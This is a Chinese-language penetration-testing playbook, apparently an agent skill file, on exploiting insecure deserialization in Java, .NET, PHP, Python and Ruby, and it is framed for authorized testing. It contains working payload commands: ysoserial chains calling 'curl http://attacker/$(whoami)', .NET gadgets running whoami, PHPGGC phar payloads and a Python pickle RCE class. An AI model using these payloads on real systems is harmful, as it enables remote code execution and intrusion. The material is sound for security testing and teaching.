exploiting-deserialization

利用反序列化

反序列化会将攻击者控制的字节转换为由攻击者选择类型的活动对象。漏洞不在于解析，而在于构造这些对象时会执行开发者从未打算运行的代码路径。关键是识别格式，然后在恰好位于类路径上的库中寻找 gadget 链。

仅针对你获准测试的系统。

适用场景

• Cookie、参数、标头或消息正文中包含序列化对象
• 你在流量或存储中看到下方列出的魔数
• 源码审查发现 readObject、unserialize、pickle.loads、 Marshal.load、BinaryFormatter、yaml.load 或 ObjectInputStream
• 消息队列、缓存或会话存储中保存着序列化对象
• 你需要确认疑似存在的盲反序列化

不适用场景

• 不实例化对象的 JSON/XML 解析——这属于注入或 XXE； 请使用 testing-web-applications
• 以源码审查为主要任务——请使用 auditing-code-for-vulnerabilities；需要利用时再回到这里
• 构造超出影响证明所需范围的武器化负载——证明可控性后就停止
• 分析使用反序列化的恶意软件——请使用 analyzing-malware

识别格式

魔数字节可识别运行时，而运行时决定了整个处理方法。

编码	Base64 前缀	原始字节	运行时
Java 序列化	rO0AB	AC ED 00 05	Java
.NET BinaryFormatter	AAEAAAD/////	00 01 00 00 00 FF FF FF FF	.NET
.NET LosFormatter/ViewState	通常为 /wEP	—	ASP.NET
PHP serialize()	Tzo、YTo	O:、a:	PHP
Python pickle	gAJ、gASV、KGRw	80 04、80 02、(dp	Python
Ruby Marshal	BAh	04 08	Ruby
Java Hessian/Burlap	Yw	63/48	Java
带标签的 YAML	—	!!python/object、!ruby/object	多种

# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3

# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20

Java 流中会以明文包含类名，这既能告诉你这是反序列化，也能显示正在使用哪些库。

Java

# Generate a payload for a gadget chain present on the target's classpath
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0

# Blind detection first — URLDNS needs no gadget library at all
java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0

**务必从 URLDNS 开始。**它只使用 JDK 类，因此只要发生反序列化就能奏效，不受存在何种库的影响。DNS 命中可确认漏洞；只有确认后，才值得尝试猜测 gadget 链。

接下来确定类路径，以选择合适的链：

• 错误消息和堆栈跟踪中出现的库类名
• gadgetprobe（Burp）——发送探测请求，根据错误行为的差异揭示存在哪些类
• 根据应用其他响应进行版本指纹识别

常见链及其依赖条件：CommonsCollections1–7（commons-collections 3.x/4.x）、CommonsBeanutils1、Spring1/2、Groovy1、Hibernate1、 Jdk7u21（不需要库，但适用的 JDK 范围较窄）、ROME、C3P0。

**超越原始序列化：**Java 反序列化也可以通过 JNDI 实现。触发 JNDI 查找并使用攻击者提供的 URL 的 gadget 可实现远程类加载（Log4Shell 所用机制）。较新的 JDK 会限制此行为，因此在假设其有效之前，应先检查版本。

.NET

# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
              --generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1

存在漏洞的格式化器：BinaryFormatter、LosFormatter、NetDataContractSerializer、 ObjectStateFormatter、SoapFormatter，以及当 TypeNameHandling 不为 None 时的 Json.NET/XmlSerializer。最后一种情况在现代代码中最常见：TypeNameHandling.All 或 .Objects 允许 JSON 自行指定 $type，这本质上就是另一种反序列化。

rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type cs

ViewState 是经典的 ASP.NET 场景。当 MAC 密钥已知时即可利用（例如泄露的 web.config、已知默认值，或旧版本中设置了 enableViewStateMac="false"）。先提取 validationKey 和 decryptionKey——没有它们，负载会被拒绝。

PHP

// The magic methods that fire during and after unserialize
__wakeup(), __destruct(), __toString(), __call(), __get()

# Find a chain: PHPGGC covers the common frameworks
phpggc Laravel/RCE9 system 'id'
phpggc Monolog/RCE2 system 'id' -b        # base64 output
phpggc -l                                  # list available chains

# Phar deserialization: any file-system function on a phar:// path triggers
# unserialize of the phar metadata — file_exists, filesize, is_dir, etc.
phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar
# then get it uploaded and reference it as phar://uploaded.jpg/x

Phar 是个被低估的攻击向量：它可将任何针对攻击者影响路径的文件系统调用转化为反序列化，代码中甚至不需要显眼的 unserialize()。

Python

# Pickle is arbitrary code execution by design — it is not a parser bug
import pickle, base64, os
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(RCE())).decode())

还要检查：未使用 SafeLoader 的 yaml.load()（!!python/object/apply:os.system）、 jsonpickle、dill、shelve、设置了 allow_pickle=True 的 numpy.load，以及任何以 pickle 为底层格式的 机器学习模型格式——参见 securing-ai-systems。

Ruby

# Marshal.load on untrusted input; gadget chains exist for Rails and common gems
# universal_pwn / Rails deserialization chains cover the usual cases

还要检查：YAML.load（Psych 4 之前的默认行为），以及 secret_key_base 已泄露的 Rails Cookie 存储。

Blind 和带外

大多数真实案例都不会产生输出。在投入精力构建利用链之前，先确认问题。

# 1. DNS/HTTP callback — the primary confirmation
#    Java URLDNS, PHP with a chain that fetches a URL, Python os.system('curl ...')
# 2. Timing — a sleep gadget proves execution when egress is blocked
#    'sleep 10' / 'ping -n 11 127.0.0.1'
# 3. Error differential — a malformed object vs a well-formed one of the wrong
#    type produces different exceptions, confirming parsing without execution

带外交互证明反序列化确实发生了。仅此就是一个发现；升级为完整 Shell 往往没有必要，且会增加风险。

序列化数据藏在哪里

除了显而易见的请求参数外，还包括：

• 会话 Cookie 和记住我令牌
• 由 Worker 消费的消息队列（RabbitMQ、Kafka、SQS）
• 缓存：Redis、Memcached、Ehcache
• 由后台任务处理的文件上传
• 服务间 RPC：RMI、JMX、JNDI、T3（WebLogic）、IIOP
• 存放序列化数据块的数据库列
• 任何被记录后又由日志处理器重新读取的数据

队列和缓存的情况最有价值，因为消费者通常是权限高于 Web 层的后端服务——而且没人会代理它。

应当驳斥的自我辩解

• “输入在反序列化前经过了验证。” 几乎不可能验证序列化数据块；类型信息就在数据块内部。
• “没有调用 unserialize()。” PHP：检查 Phar。Java：检查 RMI、 JMX 和 JNDI。.NET：检查 TypeNameHandling。
• “没有可用的利用链，所以它不易受攻击。” URLDNS 不依赖类路径即可确认反序列化。先确认，再构建利用链。
• “这是已签名的 Cookie，所以无法篡改。” 只有密钥保密时才成立。检查是否存在泄露或默认密钥。
• “这个库已经打过补丁。” 补丁只会移除特定的利用组件。危险调用点仍然存在，而且新的利用链不断出现。
• “这是内部系统，只有我们的服务会发送这种数据。” 队列和缓存可从比 Web 层更多的位置访问，而这恰恰就是问题所在。
• “我收到了 DNS 请求，但没有拿到 Shell，所以严重程度较低。” 已确认存在反序列化危险调用点就属于高危问题。应如实报告。

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成——编辑该文件，然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 之前，请对照当前 ATT&CK 版本重新核实。

初始访问（TA0001）

• T1190 利用面向公众的应用程序——另见 testing-web-applications、testing-apis、enumerating-network-services、attacking-graphql、attacking-grpc-protobuf、exploiting-ssrf、exploiting-xxe

这些领域的检测内容：engineering-detections。主动搜索：hunting-threats。入侵后：responding-to-incidents。

参考资料

• auditing-code-for-vulnerabilities — 在源代码中查找危险调用点
• testing-web-applications — 相关的 Web 测试方法
• securing-ai-systems — 以 pickle 为底层格式的模型格式
• reporting-security-findings — 仅有盲确认时的严重程度
• ysoserial、ysoserial.net、PHPGGC、gadgetprobe、Burp Collaborator / interact.sh